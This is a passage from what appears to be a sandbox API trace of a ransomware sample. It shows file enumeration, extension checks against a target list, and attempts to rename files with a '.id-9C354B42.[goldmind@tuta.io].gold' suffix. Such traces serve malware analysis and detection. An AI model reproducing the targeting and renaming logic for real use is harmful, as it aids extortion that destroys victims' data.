returned 0x20 [0087.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0087.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.582] lstrlenW (lpString=".doc") returned 4 [0087.582] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.582] lstrlenW (lpString=".docx") returned 5 [0087.582] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.582] lstrlenW (lpString=".pdf") returned 4 [0087.582] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.582] lstrlenW (lpString=".xls") returned 4 [0087.582] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.582] lstrlenW (lpString=".xlsx") returned 5 [0087.582] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.582] lstrlenW (lpString=".ppt") returned 4 [0087.582] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.582] lstrlenW (lpString=".zip") returned 4 [0087.582] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.582] lstrlenW (lpString=".rar") returned 4 [0087.582] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.582] lstrlenW (lpString=".bz2") returned 4 [0087.582] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.582] lstrlenW (lpString=".7z") returned 3 [0087.582] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.582] lstrlenW (lpString=".dbf") returned 4 [0087.582] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.582] lstrlenW (lpString=".1cd") returned 4 [0087.582] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.582] lstrlenW (lpString=".jpg") returned 4 [0087.583] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.583] lstrlenW (lpString=".doc") returned 4 [0087.583] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.583] lstrlenW (lpString=".docx") returned 5 [0087.583] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.583] lstrlenW (lpString=".pdf") returned 4 [0087.583] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.583] lstrlenW (lpString=".xls") returned 4 [0087.583] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.583] lstrlenW (lpString=".xlsx") returned 5 [0087.583] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.583] lstrlenW (lpString=".ppt") returned 4 [0087.583] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.583] lstrlenW (lpString=".zip") returned 4 [0087.583] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.583] lstrlenW (lpString=".rar") returned 4 [0087.583] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.583] lstrlenW (lpString=".bz2") returned 4 [0087.583] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.583] lstrlenW (lpString=".7z") returned 3 [0087.583] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.583] lstrlenW (lpString=".dbf") returned 4 [0087.583] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.583] lstrlenW (lpString=".1cd") returned 4 [0087.583] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0087.583] lstrlenW (lpString=".jpg") returned 4 [0087.583] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.584] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0087.584] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27 [0087.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0087.935] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=8704) returned 1 [0087.935] CloseHandle (hObject=0x320) returned 1 [0087.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0087.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0087.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.936] lstrlenW (lpString=".doc") returned 4 [0087.936] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.936] lstrlenW (lpString=".docx") returned 5 [0087.936] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0087.936] lstrlenW (lpString=".pdf") returned 4 [0087.936] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.936] lstrlenW (lpString=".xls") returned 4 [0087.936] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.936] lstrlenW (lpString=".xlsx") returned 5 [0087.936] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0087.936] lstrlenW (lpString=".ppt") returned 4 [0087.936] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.936] lstrlenW (lpString=".zip") returned 4 [0087.936] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.936] lstrlenW (lpString=".rar") returned 4 [0087.936] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.936] lstrlenW (lpString=".bz2") returned 4 [0087.936] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.936] lstrlenW (lpString=".7z") returned 3 [0087.936] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.936] lstrlenW (lpString=".dbf") returned 4 [0087.936] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.936] lstrlenW (lpString=".1cd") returned 4 [0087.936] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.936] lstrlenW (lpString=".jpg") returned 4 [0087.936] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.936] lstrlenW (lpString=".doc") returned 4 [0087.936] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.936] lstrlenW (lpString=".docx") returned 5 [0087.936] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0087.936] lstrlenW (lpString=".pdf") returned 4 [0087.936] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.936] lstrlenW (lpString=".xls") returned 4 [0087.936] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.936] lstrlenW (lpString=".xlsx") returned 5 [0087.936] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0087.936] lstrlenW (lpString=".ppt") returned 4 [0087.936] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.936] lstrlenW (lpString=".zip") returned 4 [0087.936] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.936] lstrlenW (lpString=".rar") returned 4 [0087.937] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.937] lstrlenW (lpString=".bz2") returned 4 [0087.937] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.937] lstrlenW (lpString=".7z") returned 3 [0087.937] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.937] lstrlenW (lpString=".dbf") returned 4 [0087.937] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.937] lstrlenW (lpString=".1cd") returned 4 [0087.937] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0087.937] lstrlenW (lpString=".jpg") returned 4 [0087.937] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.937] Sleep (dwMilliseconds=0x64) [0088.223] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0088.223] lstrlenW (lpString="InkObj.dll") returned 10 [0088.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0088.908] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2103296) returned 1 [0088.908] CloseHandle (hObject=0x38c) returned 1 [0088.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20 [0088.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.908] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0088.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0088.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0088.909] lstrlenW (lpString=".doc") returned 4 [0088.909] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.909] lstrlenW (lpString=".docx") returned 5 [0088.909] lstrcmpiW (lpString1=".docx", lpString2="j.dll") returned -1 [0088.909] lstrlenW (lpString=".pdf") returned 4 [0088.909] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.909] lstrlenW (lpString=".xls") returned 4 [0088.909] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.909] lstrlenW (lpString=".xlsx") returned 5 [0088.909] lstrcmpiW (lpString1=".xlsx", lpString2="j.dll") returned -1 [0088.909] lstrlenW (lpString=".ppt") returned 4 [0088.909] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0088.909] lstrlenW (lpString=".zip") returned 4 [0088.909] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.909] lstrlenW (lpString=".rar") returned 4 [0088.909] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.909] lstrlenW (lpString=".bz2") returned 4 [0088.909] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.909] lstrlenW (lpString=".7z") returned 3 [0088.909] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0088.909] lstrlenW (lpString=".dbf") returned 4 [0088.909] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0088.909] lstrlenW (lpString=".1cd") returned 4 [0088.909] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0088.909] lstrlenW (lpString=".jpg") returned 4 [0088.909] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0088.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0088.909] lstrlenW (lpString=".doc") returned 4 [0088.909] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.909] lstrlenW (lpString=".docx") returned 5 [0088.909] lstrcmpiW (lpString1=".docx", lpString2="j.dll") returned -1 [0088.909] lstrlenW (lpString=".pdf") returned 4 [0088.909] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.909] lstrlenW (lpString=".xls") returned 4 [0088.909] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.909] lstrlenW (lpString=".xlsx") returned 5 [0088.909] lstrcmpiW (lpString1=".xlsx", lpString2="j.dll") returned -1 [0088.909] lstrlenW (lpString=".ppt") returned 4 [0088.909] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0088.909] lstrlenW (lpString=".zip") returned 4 [0088.909] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.909] lstrlenW (lpString=".rar") returned 4 [0088.909] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.909] lstrlenW (lpString=".bz2") returned 4 [0088.909] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.909] lstrlenW (lpString=".7z") returned 3 [0088.910] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0088.910] lstrlenW (lpString=".dbf") returned 4 [0088.910] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0088.910] lstrlenW (lpString=".1cd") returned 4 [0088.910] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0088.910] lstrlenW (lpString=".jpg") returned 4 [0088.910] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.910] lstrcmpiW (lpString1=".EXE", lpString2=".gold") returned -1 [0088.910] lstrlenW (lpString="MSOXMLED.EXE") returned 12 [0088.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0088.917] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=121168) returned 1 [0088.917] CloseHandle (hObject=0x194) returned 1 [0088.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe")) returned 0x20 [0088.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0088.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0088.923] lstrlenW (lpString=".doc") returned 4 [0088.923] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0088.923] lstrlenW (lpString=".docx") returned 5 [0088.923] lstrcmpiW (lpString1=".docx", lpString2="D.EXE") returned -1 [0088.923] lstrlenW (lpString=".pdf") returned 4 [0088.923] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0088.923] lstrlenW (lpString=".xls") returned 4 [0088.923] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0088.923] lstrlenW (lpString=".xlsx") returned 5 [0088.923] lstrcmpiW (lpString1=".xlsx", lpString2="D.EXE") returned -1 [0088.923] lstrlenW (lpString=".ppt") returned 4 [0088.923] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0088.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0088.923] lstrlenW (lpString=".zip") returned 4 [0088.923] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0088.923] lstrlenW (lpString=".rar") returned 4 [0088.923] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0088.923] lstrlenW (lpString=".bz2") returned 4 [0088.923] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0088.923] lstrlenW (lpString=".7z") returned 3 [0088.923] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0088.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0088.923] lstrlenW (lpString=".dbf") returned 4 [0088.923] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0088.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0088.923] lstrlenW (lpString=".1cd") returned 4 [0088.923] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0088.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0088.923] lstrlenW (lpString=".jpg") returned 4 [0088.924] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0088.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0088.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0088.924] lstrlenW (lpString=".doc") returned 4 [0088.924] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0088.924] lstrlenW (lpString=".docx") returned 5 [0088.924] lstrcmpiW (lpString1=".docx", lpString2="D.EXE") returned -1 [0088.924] lstrlenW (lpString=".pdf") returned 4 [0088.924] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0088.924] lstrlenW (lpString=".xls") returned 4 [0088.924] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0088.924] lstrlenW (lpString=".xlsx") returned 5 [0088.924] lstrcmpiW (lpString1=".xlsx", lpString2="D.EXE") returned -1 [0088.924] lstrlenW (lpString=".ppt") returned 4 [0088.924] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0088.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0088.924] lstrlenW (lpString=".zip") returned 4 [0088.924] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0088.924] lstrlenW (lpString=".rar") returned 4 [0088.924] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0088.924] lstrlenW (lpString=".bz2") returned 4 [0088.924] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0088.924] lstrlenW (lpString=".7z") returned 3 [0088.924] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0088.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0088.924] lstrlenW (lpString=".dbf") returned 4 [0088.924] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0088.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0088.924] lstrlenW (lpString=".1cd") returned 4 [0088.924] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0088.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0088.924] lstrlenW (lpString=".jpg") returned 4 [0088.924] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0088.924] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0088.924] lstrlenW (lpString="MSOXMLMF.DLL") returned 12 [0088.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0088.925] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=56192) returned 1 [0088.925] CloseHandle (hObject=0x38c) returned 1 [0088.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll")) returned 0x20 [0088.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0088.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0088.925] lstrlenW (lpString=".doc") returned 4 [0088.925] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0088.925] lstrlenW (lpString=".docx") returned 5 [0088.925] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0088.925] lstrlenW (lpString=".pdf") returned 4 [0088.925] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0088.925] lstrlenW (lpString=".xls") returned 4 [0088.925] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0088.925] lstrlenW (lpString=".xlsx") returned 5 [0088.925] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0088.925] lstrlenW (lpString=".ppt") returned 4 [0088.925] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0088.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0088.925] lstrlenW (lpString=".zip") returned 4 [0088.925] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0088.925] lstrlenW (lpString=".rar") returned 4 [0088.925] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0088.925] lstrlenW (lpString=".bz2") returned 4 [0088.925] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0088.925] lstrlenW (lpString=".7z") returned 3 [0088.925] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0088.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned 68 [0088.925] lstrlenW (lpString=".dbf") returned 4 [0088.925] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0088.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 